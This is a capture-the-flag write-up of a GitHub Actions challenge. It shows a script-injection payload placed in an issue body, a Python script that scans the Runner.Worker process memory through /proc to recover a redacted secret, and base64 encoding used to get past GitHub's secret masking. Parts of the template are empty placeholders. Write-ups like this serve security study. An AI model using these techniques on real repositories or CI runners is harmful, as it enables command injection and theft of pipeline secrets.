← Back to Writeups
HTBN/AMisc

Volatile Component

XESXOR8/23/20267 min read
#misc#htb#n/a

Volatile Component

Platform: GPN CTF | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-05 | Status: Solved Techniques: base64_masking_bypass, github_actions_script_injection, memory_region_enumeration, proc_mem_forensics, secret_trace_recovery

Summary

Task: GitHub Actions workflow prints a secret flag (masked by GitHub), then redacts all GPNCTF{...} from disk, then has a script injection via unsanitized issue body interpolation. Solution: exploit script injection for RCE, then dump Runner.Worker process memory via /proc/pid/mem to find the flag's volatile trace in the .NET managed heap, base64-encoding output to bypass GitHub's secret masking.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: kitctf | ID: 20260605_kitctf_volatile_component
  • Tags: dotnet, sudo, process_memory, script_injection, github_actions, procfs, secret_masking, runner_worker
  • Indicators: ${{ github.event.issue.body }} or ${{ github.event.comment.body }} interpolated directly into run: shell command, GitHub Actions workflow with secrets.FLAG printed then redacted from disk, challenge theme about volatile traces remaining after cleanup, sudo available on runner (passwordless root), Runner.Worker .NET process holds expanded script in heap memory
  • Source: 20260605_kitctf_volatile_component.md

Foothold

Vulnerability / Misconfiguration

  1. Base64_masking_bypass
  2. Github_actions_script_injection
  3. Memory_region_enumeration
  4. Proc_mem_forensics
  5. Secret_trace_recovery
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • base64_masking_bypass
  • github_actions_script_injection
  • memory_region_enumeration
  • proc_mem_forensics
  • secret_trace_recovery
  • Tags: dotnet, sudo, process_memory, script_injection, github_actions, procfs, secret_masking, runner_worker

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Diallyl disulfide is one of the main parts that is responsible for the smell of garlic. With a vapor pressure of 1 mmHg at 20 °C, even if most of it is removed, some traces might remain.

Connection: ncat --ssl grilled-orange-atop-sauteed-miso-rwox.gpn24.ctf.kitctf.de 443

English summary: connecting to the service and providing a GitHub username creates a private repository in the GPNCTF24-3 organization containing a GitHub Actions workflow and a FLAG secret. The user is added as a pull collaborator. The goal is to exfiltrate the secret flag despite GitHub's secret masking and an on-disk redaction step.

Analysis

Instance Setup

The ncat service prompts for a GitHub username, then:

  1. Creates a private repo GPNCTF24-3/<userid>_<username>_volatile-component-challenge
  2. Adds a workflow file .github/workflows/issue-comment.yml
  3. Sets a repository secret FLAG containing the real flag
  4. Adds the user as a pull collaborator (can open issues/comments to trigger the workflow)

Workflow Analysis

The workflow triggers on issues: [opened] and issue_comment: [created] events and runs three sequential steps:

Step 1 — Print flag:

- name: Print flag
  run: echo "Flag: ${{ secrets.FLAG }}"

Prints the flag, but GitHub's secret masking engine replaces the exact secret string with *** in all log output.

Step 2 — Redact:

- name: Find and redact all flag occurrences on the filesystem
  run: |
    sudo grep -rlP 'GPNCTF\{(?!\.\*\})[^}]+\}' /home/runner/ 2>/dev/null | while read -r file; do
      sudo sed -i -E 's/GPNCTF\{[^}]+\}/GPNCTF{REDACTED}/g' "$file"
    done || true

Scans ALL files under /home/runner/ for the flag pattern and replaces every occurrence with GPNCTF{REDACTED}. This catches:

  • The step1 shell script in _temp/*.sh
  • The Worker diagnostic log in _diag/Worker_*.log
  • Any other file containing the literal flag

Step 3 — Process comment (VULNERABLE):

- name: Process comment
  run: echo "Processing comment: ${{ github.event.comment.body || github.event.issue.body }}"

The issue/comment body is interpolated directly into the shell command without sanitization — a classic GitHub Actions script injection vulnerability.

The Defense Layers

The challenge implements two defense layers that must both be bypassed:

  1. GitHub secret masking: The exact flag string is replaced with *** in all log output. Any echo or command output containing the literal flag is masked.

  2. On-disk redaction: After step1 prints the flag, step2 finds and replaces every GPNCTF{...} pattern in all files under /home/runner/. By the time step3 (our injection) runs, the flag is gone from disk.

The Key Insight: "Volatile Traces"

The challenge title ("Volatile Component") and description ("even if most of it is removed, some traces might remain") point to volatile memory — specifically, process memory.

When GitHub Actions expands ${{ secrets.FLAG }} into step1's script, the expanded string echo "Flag: GPNCTF{realflag}" passes through the Runner.Worker .NET process. This process:

  • Receives the job definition with the secret value
  • Expands expression contexts into step scripts
  • Writes the expanded script to disk (later redacted)
  • Streams output to the log (masked)

But the original expanded string persists in the .NET managed heap of the Runner.Worker process. The disk copy gets redacted, the log output gets masked, but the process memory retains the volatile trace.

Solution

Step 1: Script Injection (RCE)

By opening an issue with a crafted body, we inject arbitrary shell commands into step3. The body format:

"; <COMMAND>; echo "done

This closes the echo "Processing comment: string, executes our command, and re-opens a string for the trailing " from the template.

Step 2: Reconnaissance

Through multiple injection payloads, we confirmed:

  • sudo is available (passwordless root on GitHub-hosted runners)
  • After step2, GPNCTF{...} exists nowhere on disk except as GPNCTF{REDACTED} (36+ copies)
  • The flag is NOT in environment variables (secrets.FLAG is not auto-exported)
  • The Runner.Worker and Runner.Listener are .NET processes visible via ps

Step 3: Process Memory Forensics

The winning payload (issue body):

"; echo FSCAN; echo '<base64-encoded-python-script>' | base64 -d | sudo python3 - 2>&1 | base64 -w0; echo ENDFSCAN; echo "done

The Python script that dumps Runner.Worker process memory:

#!/usr/bin/env python3
import os, re, sys

# Find Runner.Worker PIDs
pids = []
for n in os.listdir("/proc"):
    if not n.isdigit(): continue
    try: c = open("/proc/%s/comm" % n).read().strip()
    except: continue
    if c == "Runner.Worker": pids.append(n)

# Scan process memory for the expanded step1 script
results = []
for pid in pids:
    try: maps = open("/proc/%s/maps" % pid).read().splitlines()
    except: continue
    try: mem = open("/proc/%s/mem" % pid, "rb", 0)
    except: continue
    for line in maps:
        p = line.split()
        if len(p) < 2 or "r" not in p[1]: continue
        a, b = p[0].split("-")
        a = int(a, 16); b = int(b, 16)
        if b - a > 200 * 1024 * 1024: continue
        try:
            mem.seek(a); data = mem.read(b - a)
        except: continue
        # Search for "Flag: " followed by the actual flag value
        # (the expanded step1 script: echo "Flag: GPNCTF{...}")
        for m in re.finditer(rb"Flag: ([^\n\x00\"]{4,500})", data):
            val = m.group(1)
            if b"***" not in val and b"REDACTED" not in val and b"{0}" not in val:
                results.append(val)

print(f"FOUND: {len(results)}")
for val in results[:10]:
    print(val)

The script:

  1. Finds the Runner.Worker PID via /proc/*/comm
  2. Reads its memory map from /proc/<pid>/maps
  3. For each readable memory region, seeks and reads raw bytes from /proc/<pid>/mem
  4. Searches for the pattern Flag: <value> — the expanded step1 script string
  5. Filters out masked (***), redacted, and template placeholder ({0}) matches

Step 4: Bypass Secret Masking

The Python output is piped through base64 -w0, which encodes the entire output as base64. GitHub's masking engine only matches the exact secret string — the base64-encoded form doesn't match, so it passes through to the log unmasked.

Step 5: Decode the Flag

From the Actions log output:

FSCAN
Rk9VTkQ6IDEKYidHUE5DVEZ7ZGlkX3lvdV9rTm9XXzdoNFRfZElhMWxZbF9ESTV1bGZJRDNf...==ENDFSCAN

Decoding the base64:

FOUND: 1
b'GPNCTF{REDACTED}'

Key Challenges Overcome

DefenseBypass
GitHub secret masking (exact string → ***)Base64-encode all output before printing
On-disk redaction (sed -i on all /home/runner/ files)Read process memory instead of files
Flag not in environment variablesSearch Runner.Worker heap for expanded script string
Step ordering (injection runs after redaction)Process memory retains the volatile trace regardless of disk cleanup
Searching for GPNCTF{...} in memory only finds GPNCTF{REDACTED}Search for Flag: <non-masked-value> instead — the expanded step1 script buffer
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR